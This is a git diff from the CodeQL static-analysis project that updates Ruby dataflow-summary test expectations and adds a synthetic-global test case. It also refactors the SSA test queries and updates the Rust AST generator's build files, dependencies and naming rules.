+| 33 | Summary: any; Method[withoutExactlyElementOne]; Argument[self].WithoutElement[1!]; Argument[self]; value |
 edges
 | summaries.rb:1:11:1:36 | call to identity | summaries.rb:2:6:2:12 | tainted | provenance |  |
 | summaries.rb:1:11:1:36 | call to identity | summaries.rb:2:6:2:12 | tainted | provenance |  |
@@ -201,10 +202,10 @@ edges
 | summaries.rb:87:1:87:1 | b : [collection] [element] | summaries.rb:89:6:89:6 | b : [collection] [element] | provenance |  |
 | summaries.rb:87:1:87:1 | b : [collection] [element] | summaries.rb:90:6:90:6 | b : [collection] [element] | provenance |  |
 | summaries.rb:87:1:87:1 | b : [collection] [element] | summaries.rb:90:6:90:6 | b : [collection] [element] | provenance |  |
-| summaries.rb:87:5:87:5 | a : Array [element 1] | summaries.rb:87:5:87:22 | call to withElementOne : Array [element 1] | provenance | MaD:28 |
-| summaries.rb:87:5:87:5 | a : Array [element 1] | summaries.rb:87:5:87:22 | call to withElementOne : Array [element 1] | provenance | MaD:28 |
-| summaries.rb:87:5:87:5 | a : [collection] [element] | summaries.rb:87:5:87:22 | call to withElementOne : [collection] [element] | provenance | MaD:28 |
-| summaries.rb:87:5:87:5 | a : [collection] [element] | summaries.rb:87:5:87:22 | call to withElementOne : [collection] [element] | provenance | MaD:28 |
+| summaries.rb:87:5:87:5 | a : Array [element 1] | summaries.rb:87:5:87:22 | call to withElementOne : Array [element 1] | provenance | MaD:29 |
+| summaries.rb:87:5:87:5 | a : Array [element 1] | summaries.rb:87:5:87:22 | call to withElementOne : Array [element 1] | provenance | MaD:29 |
+| summaries.rb:87:5:87:5 | a : [collection] [element] | summaries.rb:87:5:87:22 | call to withElementOne : [collection] [element] | provenance | MaD:29 |
+| summaries.rb:87:5:87:5 | a : [collection] [element] | summaries.rb:87:5:87:22 | call to withElementOne : [collection] [element] | provenance | MaD:29 |
 | summaries.rb:87:5:87:22 | call to withElementOne : Array [element 1] | summaries.rb:87:1:87:1 | b : Array [element 1] | provenance |  |
 | summaries.rb:87:5:87:22 | call to withElementOne : Array [element 1] | summaries.rb:87:1:87:1 | b : Array [element 1] | provenance |  |
 | summaries.rb:87:5:87:22 | call to withElementOne : [collection] [element] | summaries.rb:87:1:87:1 | b : [collection] [element] | provenance |  |
@@ -219,8 +220,8 @@ edges
 | summaries.rb:90:6:90:6 | b : [collection] [element] | summaries.rb:90:6:90:9 | ...[...] | provenance |  |
 | summaries.rb:91:1:91:1 | c : Array [element 1] | summaries.rb:93:6:93:6 | c : Array [element 1] | provenance |  |
 | summaries.rb:91:1:91:1 | c : Array [element 1] | summaries.rb:93:6:93:6 | c : Array [element 1] | provenance |  |
-| summaries.rb:91:5:91:5 | a : Array [element 1] | summaries.rb:91:5:91:29 | call to withExactlyElementOne : Array [element 1] | provenance | MaD:29 |
-| summaries.rb:91:5:91:5 | a : Array [element 1] | summaries.rb:91:5:91:29 | call to withExactlyElementOne : Array [element 1] | provenance | MaD:29 |
+| summaries.rb:91:5:91:5 | a : Array [element 1] | summaries.rb:91:5:91:29 | call to withExactlyElementOne : Array [element 1] | provenance | MaD:30 |
+| summaries.rb:91:5:91:5 | a : Array [element 1] | summaries.rb:91:5:91:29 | call to withExactlyElementOne : Array [element 1] | provenance | MaD:30 |
 | summaries.rb:91:5:91:29 | call to withExactlyElementOne : Array [element 1] | summaries.rb:91:1:91:1 | c : Array [element 1] | provenance |  |
 | summaries.rb:91:5:91:29 | call to withExactlyElementOne : Array [element 1] | summaries.rb:91:1:91:1 | c : Array [element 1] | provenance |  |
 | summaries.rb:93:6:93:6 | c : Array [element 1] | summaries.rb:93:6:93:9 | ...[...] | provenance |  |
@@ -235,10 +236,10 @@ edges
 | summaries.rb:95:1:95:1 | [post] a : [collection] [element] | summaries.rb:97:6:97:6 | a : [collection] [element] | provenance |  |
 | summaries.rb:95:1:95:1 | [post] a : [collection] [element] | summaries.rb:98:6:98:6 | a : [collection] [element] | provenance |  |
 | summaries.rb:95:1:95:1 | [post] a : [collection] [element] | summaries.rb:98:6:98:6 | a : [collection] [element] | provenance |  |
-| summaries.rb:95:1:95:1 | a : Array [element 2] | summaries.rb:95:1:95:1 | [post] a : Array [element 2] | provenance | MaD:32 |
-| summaries.rb:95:1:95:1 | a : Array [element 2] | summaries.rb:95:1:95:1 | [post] a : Array [element 2] | provenance | MaD:32 |
-| summaries.rb:95:1:95:1 | a : [collection] [element] | summaries.rb:95:1:95:1 | [post] a : [collection] [element] | provenance | MaD:32 |
-| summaries.rb:95:1:95:1 | a : [collection] [element] | summaries.rb:95:1:95:1 | [post] a : [collection] [element] | provenance | MaD:32 |
+| summaries.rb:95:1:95:1 | a : Array [element 2] | summaries.rb:95:1:95:1 | [post] a : Array [element 2] | provenance | MaD:33 |
+| summaries.rb:95:1:95:1 | a : Array [element 2] | summaries.rb:95:1:95:1 | [post] a : Array [element 2] | provenance | MaD:33 |
+| summaries.rb:95:1:95:1 | a : [collection] [element] | summaries.rb:95:1:95:1 | [post] a : [collection] [element] | provenance | MaD:33 |
+| summaries.rb:95:1:95:1 | a : [collection] [element] | summaries.rb:95:1:95:1 | [post] a : [collection] [element] | provenance | MaD:33 |
 | summaries.rb:96:6:96:6 | a : [collection] [element] | summaries.rb:96:6:96:9 | ...[...] | provenance |  |
 | summaries.rb:96:6:96:6 | a : [collection] [element] | summaries.rb:96:6:96:9 | ...[...] | provenance |  |
 | summaries.rb:97:6:97:6 | a : [collection] [element] | summaries.rb:97:6:97:9 | ...[...] | provenance |  |
@@ -249,8 +250,8 @@ edges
 | summaries.rb:98:6:98:6 | a : [collection] [element] | summaries.rb:98:6:98:9 | ...[...] | provenance |  |
 | summaries.rb:99:1:99:1 | [post] a : Array [element 2] | summaries.rb:102:6:102:6 | a : Array [element 2] | provenance |  |
 | summaries.rb:99:1:99:1 | [post] a : Array [element 2] | summaries.rb:102:6:102:6 | a : Array [element 2] | provenance |  |
-| summaries.rb:99:1:99:1 | a : Array [element 2] | summaries.rb:99:1:99:1 | [post] a : Array [element 2] | provenance | MaD:31 |
-| summaries.rb:99:1:99:1 | a : Array [element 2] | summaries.rb:99:1:99:1 | [post] a : Array [element 2] | provenance | MaD:31 |
+| summaries.rb:99:1:99:1 | a : Array [element 2] | summaries.rb:99:1:99:1 | [post] a : Array [element 2] | provenance | MaD:32 |
+| summaries.rb:99:1:99:1 | a : Array [element 2] | summaries.rb:99:1:99:1 | [post] a : Array [element 2] | provenance | MaD:32 |
 | summaries.rb:102:6:102:6 | a : Array [element 2] | summaries.rb:102:6:102:9 | ...[...] | provenance |  |
 | summaries.rb:102:6:102:6 | a : Array [element 2] | summaries.rb:102:6:102:9 | ...[...] | provenance |  |
 | summaries.rb:103:1:103:1 | [post] d : [collection] [element 3] | summaries.rb:104:1:104:1 | d : [collection] [element 3] | provenance |  |
@@ -259,14 +260,14 @@ edges
 | summaries.rb:103:8:103:22 | call to source | summaries.rb:103:1:103:1 | [post] d : [collection] [element 3] | provenance |  |
 | summaries.rb:104:1:104:1 | [post] d : [collection] [element 3] | summaries.rb:108:6:108:6 | d : [collection] [element 3] | provenance |  |
 | summaries.rb:104:1:104:1 | [post] d : [collection] [element 3] | summaries.rb:108:6:108:6 | d : [collection] [element 3] | provenance |  |
-| summaries.rb:104:1:104:1 | d : [collection] [element 3] | summaries.rb:104:1:104:1 | [post] d : [collection] [element 3] | provenance | MaD:30 |
-| summaries.rb:104:1:104:1 | d : [collection] [element 3] | summaries.rb:104:1:104:1 | [post] d : [collection] [element 3] | provenance | MaD:30 |
+| summaries.rb:104:1:104:1 | d : [collection] [element 3] | summaries.rb:104:1:104:1 | [post] d : [collection] [element 3] | provenance | MaD:31 |
+| summaries.rb:104:1:104:1 | d : [collection] [element 3] | summaries.rb:104:1:104:1 | [post] d : [collection] [element 3] | provenance | MaD:31 |
 | summaries.rb:108:6:108:6 | d : [collection] [element 3] | summaries.rb:108:6:108:9 | ...[...] | provenance |  |
 | summaries.rb:108:6:108:6 | d : [collection] [element 3] | summaries.rb:108:6:108:9 | ...[...] | provenance |  |
 | summaries.rb:111:1:111:1 | [post] x [@value] | summaries.rb:112:6:112:6 | x [@value] | provenance |  |
 | summaries.rb:111:1:111:1 | [post] x [@value] | summaries.rb:112:6:112:6 | x [@value] | provenance |  |
-| summaries.rb:111:13:111:26 | call to source | summaries.rb:111:1:111:1 | [post] x [@value] | provenance | MaD:27 |
-| summaries.rb:111:13:111:26 | call to source | summaries.rb:111:1:111:1 | [post] x [@value] | provenance | MaD:27 |
+| summaries.rb:111:13:111:26 | call to source | summaries.rb:111:1:111:1 | [post] x [@value] | provenance | MaD:28 |
+| summaries.rb:111:13:111:26 | call to source | summaries.rb:111:1:111:1 | [post] x [@value] | provenance | MaD:28 |
 | summaries.rb:112:6:112:6 | x [@value] | summaries.rb:112:6:112:16 | call to get_value | provenance | MaD:22 |
 | summaries.rb:112:6:112:6 | x [@value] | summaries.rb:112:6:112:16 | call to get_value | provenance | MaD:22 |
 | summaries.rb:122:16:122:22 | [post] tainted | summaries.rb:128:14:128:20 | tainted | provenance |  |
@@ -294,6 +295,24 @@ edges
 | summaries.rb:131:16:131:22 | tainted | summaries.rb:131:1:131:23 | synthetic splat argument | provenance | Sink:MaD:4 |
 | summaries.rb:157:14:160:3 | do ... end : [lambda] [captured tainted] | summaries.rb:158:15:158:21 | tainted | provenance | heuristic-callback Sink:MaD:6 |
 | summaries.rb:157:14:160:3 | do ... end : [lambda] [captured tainted] | summaries.rb:158:15:158:21 | tainted | provenance | heuristic-callback Sink:MaD:6 |
+| summaries.rb:172:5:172:6 | [post] @x [@someField] | summaries.rb:172:5:172:6 | [post] self : SynthGlobalTest [@x, @someField] | provenance |  |
+| summaries.rb:172:5:172:6 | [post] @x [@someField] | summaries.rb:172:5:172:6 | [post] self : SynthGlobalTest [@x, @someField] | provenance |  |
+| summaries.rb:172:5:172:6 | [post] self : SynthGlobalTest [@x, @someField] | summaries.rb:173:5:173:6 | self : SynthGlobalTest [@x, @someField] | provenance |  |
+| summaries.rb:172:5:172:6 | [post] self : SynthGlobalTest [@x, @someField] | summaries.rb:173:5:173:6 | self : SynthGlobalTest [@x, @someField] | provenance |  |
+| summaries.rb:172:20:172:36 | call to source | summaries.rb:172:5:172:6 | [post] @x [@someField] | provenance |  |
+| summaries.rb:172:20:172:36 | call to source | summaries.rb:172:5:172:6 | [post] @x [@someField] | provenance |  |
+| summaries.rb:173:5:173:6 | @x [@someField] | summaries.rb:177:10:177:27 | call to readFromDatabase [@someField] | provenance | MaD:27 |
+| summaries.rb:173:5:173:6 | @x [@someField] | summaries.rb:177:10:177:27 | call to readFromDatabase [@someField] | provenance | MaD:27 |
+| summaries.rb:173:5:173:6 | self : SynthGlobalTest [@x, @someField] | summaries.rb:173:5:173:6 | @x [@someField] | provenance |  |
+| summaries.rb:173:5:173:6 | self : SynthGlobalTest [@x, @someField] | summaries.rb:173:5:173:6 | @x [@someField] | provenance |  |
+| summaries.rb:177:5:177:6 | [post] self [@x, @someField] | summaries.rb:179:10:179:11 | self [@x, @someField] | provenance |  |
+| summaries.rb:177:5:177:6 | [post] self [@x, @someField] | summaries.rb:179:10:179:11 | self [@x, @someField] | provenance |  |
+| summaries.rb:177:10:177:27 | call to readFromDatabase [@someField] | summaries.rb:177:5:177:6 | [post] self [@x, @someField] | provenance |  |
+| summaries.rb:177:10:177:27 | call to readFromDatabase [@someField] | summaries.rb:177:5:177:6 | [post] self [@x, @someField] | provenance |  |
+| summaries.rb:179:10:179:11 | @x [@someField] | summaries.rb:179:10:179:21 | call to someField | provenance |  |
+| summaries.rb:179:10:179:11 | @x [@someField] | summaries.rb:179:10:179:21 | call to someField | provenance |  |
+| summaries.rb:179:10:179:11 | self [@x, @someField] | summaries.rb:179:10:179:11 | @x [@someField] | provenance |  |
+| summaries.rb:179:10:179:11 | self [@x, @someField] | summaries.rb:179:10:179:11 | @x [@someField] | provenance |  |
 nodes
 | summaries.rb:1:11:1:36 | call to identity | semmle.label | call to identity |
 | summaries.rb:1:11:1:36 | call to identity | semmle.label | call to identity |
@@ -553,6 +572,26 @@ nodes
 | summaries.rb:163:20:163:36 | call to source | semmle.label | call to source |
 | summaries.rb:166:20:166:36 | call to source | semmle.label | call to source |
 | summaries.rb:166:20:166:36 | call to source | semmle.label | call to source |
+| summaries.rb:172:5:172:6 | [post] @x [@someField] | semmle.label | [post] @x [@someField] |
+| summaries.rb:172:5:172:6 | [post] @x [@someField] | semmle.label | [post] @x [@someField] |
+| summaries.rb:172:5:172:6 | [post] self : SynthGlobalTest [@x, @someField] | semmle.label | [post] self : SynthGlobalTest [@x, @someField] |
+| summaries.rb:172:5:172:6 | [post] self : SynthGlobalTest [@x, @someField] | semmle.label | [post] self : SynthGlobalTest [@x, @someField] |
+| summaries.rb:172:20:172:36 | call to source | semmle.label | call to source |
+| summaries.rb:172:20:172:36 | call to source | semmle.label | call to source |
+| summaries.rb:173:5:173:6 | @x [@someField] | semmle.label | @x [@someField] |
+| summaries.rb:173:5:173:6 | @x [@someField] | semmle.label | @x [@someField] |
+| summaries.rb:173:5:173:6 | self : SynthGlobalTest [@x, @someField] | semmle.label | self : SynthGlobalTest [@x, @someField] |
+| summaries.rb:173:5:173:6 | self : SynthGlobalTest [@x, @someField] | semmle.label | self : SynthGlobalTest [@x, @someField] |
+| summaries.rb:177:5:177:6 | [post] self [@x, @someField] | semmle.label | [post] self [@x, @someField] |
+| summaries.rb:177:5:177:6 | [post] self [@x, @someField] | semmle.label | [post] self [@x, @someField] |
+| summaries.rb:177:10:177:27 | call to readFromDatabase [@someField] | semmle.label | call to readFromDatabase [@someField] |
+| summaries.rb:177:10:177:27 | call to readFromDatabase [@someField] | semmle.label | call to readFromDatabase [@someField] |
+| summaries.rb:179:10:179:11 | @x [@someField] | semmle.label | @x [@someField] |
+| summaries.rb:179:10:179:11 | @x [@someField] | semmle.label | @x [@someField] |
+| summaries.rb:179:10:179:11 | self [@x, @someField] | semmle.label | self [@x, @someField] |
+| summaries.rb:179:10:179:11 | self [@x, @someField] | semmle.label | self [@x, @someField] |
+| summaries.rb:179:10:179:21 | call to someField | semmle.label | call to someField |
+| summaries.rb:179:10:179:21 | call to someField | semmle.label | call to someField |
 subpaths
 | summaries.rb:4:24:4:30 | tainted | summaries.rb:4:36:4:36 | x | summaries.rb:6:3:6:3 | x | summaries.rb:4:12:7:3 | call to apply_block |
 | summaries.rb:4:24:4:30 | tainted | summaries.rb:4:36:4:36 | x | summaries.rb:6:3:6:3 | x | summaries.rb:4:12:7:3 | call to apply_block |
@@ -670,4 +709,6 @@ invalidSpecComponent
 | summaries.rb:163:20:163:36 | call to source | summaries.rb:163:20:163:36 | call to source | summaries.rb:163:20:163:36 | call to source | $@ | summaries.rb:163:20:163:36 | call to source | call to source |
 | summaries.rb:166:20:166:36 | call to source | summaries.rb:166:20:166:36 | call to source | summaries.rb:166:20:166:36 | call to source | $@ | summaries.rb:166:20:166:36 | call to source | call to source |
 | summaries.rb:166:20:166:36 | call to source | summaries.rb:166:20:166:36 | call to source | summaries.rb:166:20:166:36 | call to source | $@ | summaries.rb:166:20:166:36 | call to source | call to source |
+| summaries.rb:179:10:179:21 | call to someField | summaries.rb:172:20:172:36 | call to source | summaries.rb:179:10:179:21 | call to someField | $@ | summaries.rb:172:20:172:36 | call to source | call to source |
+| summaries.rb:179:10:179:21 | call to someField | summaries.rb:172:20:172:36 | call to source | summaries.rb:179:10:179:21 | call to someField | $@ | summaries.rb:172:20:172:36 | call to source | call to source |
 warning
diff --git a/ruby/ql/test/library-tests/dataflow/summaries/Summaries.ext.yml b/ruby/ql/test/library-tests/dataflow/summaries/Summaries.ext.yml
index 336dad9a0294..49efe2a93054 100644
--- a/ruby/ql/test/library-tests/dataflow/summaries/Summaries.ext.yml
+++ b/ruby/ql/test/library-tests/dataflow/summaries/Summaries.ext.yml
@@ -41,6 +41,8 @@ extensions:
       - ['any', 'Method[withoutElementOneAndTwo]', 'Argument[self].WithoutElement[1].WithoutElement[2].WithElement[any]', 'Argument[self]', 'value']
       - ['any', 'Method[withoutElementOne]', 'Argument[self].WithoutElement[1]', 'Argument[self]', 'value']
       - ['any', 'Method[withoutExactlyElementOne]', 'Argument[self].WithoutElement[1!]', 'Argument[self]', 'value']
+      - ['any', 'Method[saveToDatabase]', 'Argument[self]', 'SyntheticGlobal[db]', 'value']
+      - ['any', 'Method[readFromDatabase]', 'SyntheticGlobal[db]', 'ReturnValue', 'value']
 
   - addsTo:
       pack: codeql/ruby-all
diff --git a/ruby/ql/test/library-tests/dataflow/summaries/summaries.rb b/ruby/ql/test/library-tests/dataflow/summaries/summaries.rb
index f96354dbe81f..f45fa4cadb76 100644
--- a/ruby/ql/test/library-tests/dataflow/summaries/summaries.rb
+++ b/ruby/ql/test/library-tests/dataflow/summaries/summaries.rb
@@ -166,3 +166,17 @@ def self.blah
     self.fuzzyCall(source("tainted")) # $ hasValueFlow=tainted
   end
 end
+
+class SynthGlobalTest
+  def store
+    @x.someField = source("tainted")
+    @x.saveToDatabase()
+  end
+
+  def read
+    @x = readFromDatabase()
+    sink(@x)
+    sink(@x.someField) # $ hasValueFlow=tainted
+    sink(@x.someOtherField)
+  end
+end
\ No newline at end of file
diff --git a/ruby/ql/test/library-tests/variables/ssa.expected b/ruby/ql/test/library-tests/variables/ssa.expected
index b998016a39ff..8e69feef15b1 100644
--- a/ruby/ql/test/library-tests/variables/ssa.expected
+++ b/ruby/ql/test/library-tests/variables/ssa.expected
@@ -597,7 +597,7 @@ phiReadNode
 | ssa.rb:92:3:96:5 | SSA phi read(x) | ssa.rb:91:3:91:3 | x |
 | ssa.rb:94:3:95:10 | SSA phi read(self) | ssa.rb:90:1:103:3 | self |
 | ssa.rb:94:3:95:10 | SSA phi read(x) | ssa.rb:91:3:91:3 | x |
-phiReadNodeRead
+phiReadNodeFirstRead
 | parameters.rb:26:3:26:11 | SSA phi read(name) | parameters.rb:25:15:25:18 | name | parameters.rb:26:8:26:11 | name |
 | ssa.rb:5:3:13:5 | SSA phi read(self) | ssa.rb:1:1:16:3 | self | ssa.rb:15:3:15:8 | self |
 | ssa.rb:19:9:19:9 | SSA phi read(self) | ssa.rb:18:1:23:3 | self | ssa.rb:20:5:20:10 | self |
@@ -607,12 +607,16 @@ phiReadNodeRead
 | ssa.rb:92:3:96:5 | SSA phi read(x) | ssa.rb:91:3:91:3 | x | ssa.rb:101:10:101:10 | x |
 phiReadInput
 | parameters.rb:26:3:26:11 | SSA phi read(name) | parameters.rb:25:15:25:18 | name |
-| ssa.rb:5:3:13:5 | SSA phi read(self) | ssa.rb:1:1:16:3 | self (m) |
+| parameters.rb:26:3:26:11 | SSA phi read(name) | parameters.rb:25:40:25:43 | SSA read(name) |
+| ssa.rb:5:3:13:5 | SSA phi read(self) | ssa.rb:8:5:8:14 | SSA read(self) |
+| ssa.rb:5:3:13:5 | SSA phi read(self) | ssa.rb:12:5:12:14 | SSA read(self) |
 | ssa.rb:19:9:19:9 | SSA phi read(self) | ssa.rb:18:1:23:3 | self (m1) |
-| ssa.rb:19:9:19:9 | SSA phi read(self) | ssa.rb:19:9:19:9 | SSA phi read(self) |
-| ssa.rb:92:3:96:5 | SSA phi read(self) | ssa.rb:90:1:103:3 | self (m12) |
+| ssa.rb:19:9:19:9 | SSA phi read(self) | ssa.rb:20:5:20:10 | SSA read(self) |
+| ssa.rb:92:3:96:5 | SSA phi read(self) | ssa.rb:93:5:93:10 | SSA read(self) |
 | ssa.rb:92:3:96:5 | SSA phi read(self) | ssa.rb:94:3:95:10 | SSA phi read(self) |
-| ssa.rb:92:3:96:5 | SSA phi read(x) | ssa.rb:91:3:91:3 | x |
+| ssa.rb:92:3:96:5 | SSA phi read(x) | ssa.rb:93:10:93:10 | SSA read(x) |
 | ssa.rb:92:3:96:5 | SSA phi read(x) | ssa.rb:94:3:95:10 | SSA phi read(x) |
 | ssa.rb:94:3:95:10 | SSA phi read(self) | ssa.rb:90:1:103:3 | self (m12) |
+| ssa.rb:94:3:95:10 | SSA phi read(self) | ssa.rb:95:5:95:10 | SSA read(self) |
 | ssa.rb:94:3:95:10 | SSA phi read(x) | ssa.rb:91:3:91:3 | x |
+| ssa.rb:94:3:95:10 | SSA phi read(x) | ssa.rb:95:10:95:10 | SSA read(x) |
diff --git a/ruby/ql/test/library-tests/variables/ssa.ql b/ruby/ql/test/library-tests/variables/ssa.ql
index a010eb9164d7..fb0c8e556d19 100644
--- a/ruby/ql/test/library-tests/variables/ssa.ql
+++ b/ruby/ql/test/library-tests/variables/ssa.ql
@@ -2,7 +2,7 @@ import codeql.ruby.AST
 import codeql.ruby.CFG
 import codeql.ruby.dataflow.SSA
 import codeql.ruby.dataflow.internal.SsaImpl
-import ExposedForTestingOnly
+import Impl::TestAdjacentRefs as RefTest
 
 query predicate definition(Ssa::Definition def, Variable v) { def.getSourceVariable() = v }
 
@@ -23,16 +23,20 @@ query predicate phi(Ssa::PhiNode phi, Variable v, Ssa::Definition input) {
   phi.getSourceVariable() = v and input = phi.getAnInput()
 }
 
-query predicate phiReadNode(PhiReadNode phi, Variable v) { phi.getSourceVariable() = v }
+query predicate phiReadNode(RefTest::Ref phi, Variable v) {
+  phi.isPhiRead() and phi.getSourceVariable() = v
+}
 
-query predicate phiReadNodeRead(PhiReadNode phi, Variable v, CfgNode read) {
-  phi.getSourceVariable() = v and
-  exists(BasicBlock bb, int i |
-    ssaDefReachesReadExt(v, phi, bb, i) and
+query predicate phiReadNodeFirstRead(RefTest::Ref phi, Variable v, CfgNode read) {
+  exists(RefTest::Ref r, BasicBlock bb, int i |
+    phi.isPhiRead() and
+    RefTest::adjacentRefRead(phi, r) and
+    r.accessAt(bb, i, v) and
     read = bb.getNode(i)
   )
 }
 
-query predicate phiReadInput(PhiReadNode phi, DefinitionExt inp) {
-  phiHasInputFromBlockExt(phi, inp, _)
+query predicate phiReadInput(RefTest::Ref phi, RefTest::Ref inp) {
+  phi.isPhiRead() and
+  RefTest::adjacentRefPhi(inp, phi)
 }
diff --git a/rust-toolchain.toml b/rust-toolchain.toml
new file mode 100644
index 000000000000..60e431ae8835
--- /dev/null
+++ b/rust-toolchain.toml
@@ -0,0 +1,8 @@
+# This file specifies the Rust version used to develop and test the
+# extractors written in rust. It is set to the lowest version of Rust
+# we want to support.
+
+[toolchain]
+channel = "1.85"
+profile = "minimal"
+components = [ "clippy", "rustfmt" ]
diff --git a/rust/ast-generator/.gitignore b/rust/ast-generator/.gitignore
index 16daba3cfbd1..ad69d72902d4 100644
--- a/rust/ast-generator/.gitignore
+++ b/rust/ast-generator/.gitignore
@@ -2,3 +2,4 @@
 /.idea
 /src/codegen/grammar.rs
 /src/codegen/grammar/
+/rust.ungram
diff --git a/rust/ast-generator/BUILD.bazel b/rust/ast-generator/BUILD.bazel
index b1b7af2ec5f9..7d0105ac456d 100644
--- a/rust/ast-generator/BUILD.bazel
+++ b/rust/ast-generator/BUILD.bazel
@@ -11,7 +11,7 @@ load("//misc/bazel/3rdparty/tree_sitter_extractors_deps:defs.bzl", "aliases", "a
 ra_ap_syntax_workspace, _, _ = str(ra_ap_syntax_label).partition("//")
 
 alias(
-    name = "ungram",
+    name = "rust.ungram",
     actual = "%s//:rust.ungram" % ra_ap_syntax_workspace,
     visibility = ["//rust/codegen:__pkg__"],
 )
@@ -45,9 +45,9 @@ codeql_rust_binary(
         exclude = ["src/codegen/**"],
     ) + [":codegen"],
     aliases = aliases(),
-    args = ["$(rlocationpath :ungram)"],
+    args = ["$(rlocationpath :rust.ungram)"],
     compile_data = glob(["src/templates/*.mustache"]),
-    data = [":ungram"],
+    data = [":rust.ungram"],
     proc_macro_deps = all_crate_deps(
         proc_macro = True,
     ),
@@ -69,7 +69,10 @@ write_file(
         # using cat instead of cp to honor default umask
         # (also, macOS does not support `cp --no-preserve=mode`)
         'cat "$(rlocation "$%s")" > "$DST_DIR/%s"' % item
-        for item in enumerate(_codegen_outs, 2)
+        for item in enumerate(
+            ["rust.ungram"] + _codegen_outs,
+            2,
+        )
     ],
     is_executable = True,
 )
@@ -77,8 +80,14 @@ write_file(
 sh_binary(
     name = "inject-sources",
     srcs = [":update"],
-    args = ["$(rlocationpath Cargo.toml)"] + ["$(rlocationpath %s)" % f for f in _codegen_outs],
-    data = ["Cargo.toml"] + _codegen_outs,
+    args = ["$(rlocationpath %s)" % f for f in [
+        "Cargo.toml",
+        ":rust.ungram",
+    ] + _codegen_outs],
+    data = [
+        "Cargo.toml",
+        ":rust.ungram",
+    ] + _codegen_outs,
     deps = ["//misc/bazel:sh_runfiles"],
 )
 
diff --git a/rust/ast-generator/Cargo.toml b/rust/ast-generator/Cargo.toml
index 6a2db2b0da82..23b2ab8cb158 100644
--- a/rust/ast-generator/Cargo.toml
+++ b/rust/ast-generator/Cargo.toml
@@ -1,17 +1,17 @@
 [package]
 name = "ast-generator"
 version = "0.1.0"
-edition = "2021"
+edition = "2024"
 license = "MIT"
 
 # When updating these dependencies, run `rust/update_cargo_deps.sh`
 [dependencies]
 ungrammar = "1.16.1"
-proc-macro2 = "1.0.93"
-quote = "1.0.38"
-either = "1.13.0"
-stdx = {package = "ra_ap_stdx", version = "0.0.258"}
+proc-macro2 = "1.0.94"
+quote = "1.0.40"
+either = "1.15.0"
+stdx = {package = "ra_ap_stdx", version = "0.0.270"}
 itertools = "0.14.0"
 mustache = "0.9.0"
-serde = { version = "1.0.217", features = ["derive"] }
-anyhow = "1.0.95"
+serde = { version = "1.0.219", features = ["derive"] }
+anyhow = "1.0.97"
diff --git a/rust/ast-generator/src/main.rs b/rust/ast-generator/src/main.rs
index 95f9472c7a20..8b8d7f5c593c 100644
--- a/rust/ast-generator/src/main.rs
+++ b/rust/ast-generator/src/main.rs
@@ -23,6 +23,7 @@ fn class_name(type_name: &str) -> String {
         "Literal" => "LiteralExpr".to_owned(),
         "ArrayExpr" => "ArrayExprInternal".to_owned(),
         "AsmOptions" => "AsmOptionsList".to_owned(),
+        _ if type_name.starts_with("Record") => type_name.replacen("Record", "Struct", 1),
         _ if type_name.ends_with("Type") => format!("{}Repr", type_name),
         _ => type_name.to_owned(),
     }
@@ -33,13 +34,17 @@ fn property_name(type_name: &str, field_name: &str) -> String {
         ("CallExpr", "expr") => "function",
         ("LetExpr", "expr") => "scrutinee",
         ("MatchExpr", "expr") => "scrutinee",
-        ("Path", "segment") => "part",
+        ("Variant", "expr") => "discriminant",
+        ("FieldExpr", "expr") => "container",
+        (_, "name_ref") => "identifier",
         (_, "then_branch") => "then",
         (_, "else_branch") => "else_",
-        ("ArrayType", "ty") => "element_type_repr",
+        ("ArrayTypeRepr", "ty") => "element_type_repr",
         ("SelfParam", "is_amp") => "is_ref",
+        ("StructField", "expr") => "default",
         ("UseTree", "is_star") => "is_glob",
         (_, "ty") => "type_repr",
+        _ if field_name.contains("record") => &field_name.replacen("record", "struct", 1),
         _ => field_name,
     };
     name.to_owned()
@@ -100,25 +105,27 @@ fn node_src_to_schema_class(
     node: &AstNodeSrc,
     super_types: &BTreeMap<String, BTreeSet<String>>,
 ) -> SchemaClass {
+    let name = class_name(&node.name);
+    let fields = get_fields(node)
+        .iter()
+        .map(|f| {
+            let (ty, child) = match &f.ty {
+                FieldType::String => ("optional[string]".to_string(), false),
+                FieldType::Predicate => ("predicate".to_string(), false),
+                FieldType::Optional(ty) => (format!("optional[\"{}\"]", class_name(ty)), true),
+                FieldType::List(ty) => (format!("list[\"{}\"]", class_name(ty)), true),
+            };
+            SchemaField {
+                name: property_name(&name, &f.name),
+                ty,
+                child,
+            }
+        })
+        .collect();
     SchemaClass {
-        name: class_name(&node.name),
+        name,
+        fields,
         bases: get_bases(&node.name, super_types),
-        fields: get_fields(node)
-            .iter()
-            .map(|f| {
-                let (ty, child) = match &f.ty {
-                    FieldType::String => ("optional[string]".to_string(), false),
-                    FieldType::Predicate => ("predicate".to_string(), false),
-                    FieldType::Optional(ty) => (format!("optional[\"{}\"]", class_name(ty)), true),
-                    FieldType::List(ty) => (format!("list[\"{}\"]", class_name(ty)), true),
-                };
-                SchemaField {
-                    name: property_name(&node.name, &f.name),
-                    ty,
-                    child,
-                }
-            })
-            .collect(),
     }
 }
 
@@ -425,6 +432,7 @@ fn get_fields(node: &AstNodeSrc) -> Vec<FieldInfo> {
 struct EnumVariantInfo {
     name: String,
     snake_case_name: String,
+    variant_ast_name: String,
 }
 
 #[derive(Serialize)]
@@ -461,24 +469,33 @@ struct ExtractorInfo {
     nodes: Vec<ExtractorNodeInfo>,
 }
 
-fn enum_to_extractor_info(node: &AstEnumSrc) -> ExtractorEnumInfo {
-    ExtractorEnumInfo {
+fn enum_to_extractor_info(node: &AstEnumSrc) -> Option<ExtractorEnumInfo> {
+    if node.name == "VariantDef" {
+        // currently defined but unused
+        return None;
+    }
+    Some(ExtractorEnumInfo {
         name: class_name(&node.name),
         snake_case_name: to_lower_snake_case(&node.name),
         ast_name: node.name.clone(),
         variants: node
             .variants
             .iter()
-            .map(|v| EnumVariantInfo {
-                name: v.clone(),
-                snake_case_name: to_lower_snake_case(v),
+            .map(|v| {
+                let name = class_name(v);
+                let snake_case_name = to_lower_snake_case(v);
+                EnumVariantInfo {
+                    name,
+                    snake_case_name,
+                    variant_ast_name: v.clone(),
+                }
             })
             .collect(),
-    }
+    })
 }
 
-fn field_info_to_extractor_info(node: &AstNodeSrc, field: &FieldInfo) -> ExtractorNodeFieldInfo {
-    let name = property_name(&node.name, &field.name);
+fn field_info_to_extractor_info(name: &str, field: &FieldInfo) -> ExtractorNodeFieldInfo {
+    let name = property_name(name, &field.name);
     match &field.ty {
         FieldType::String => ExtractorNodeFieldInfo {
             name,
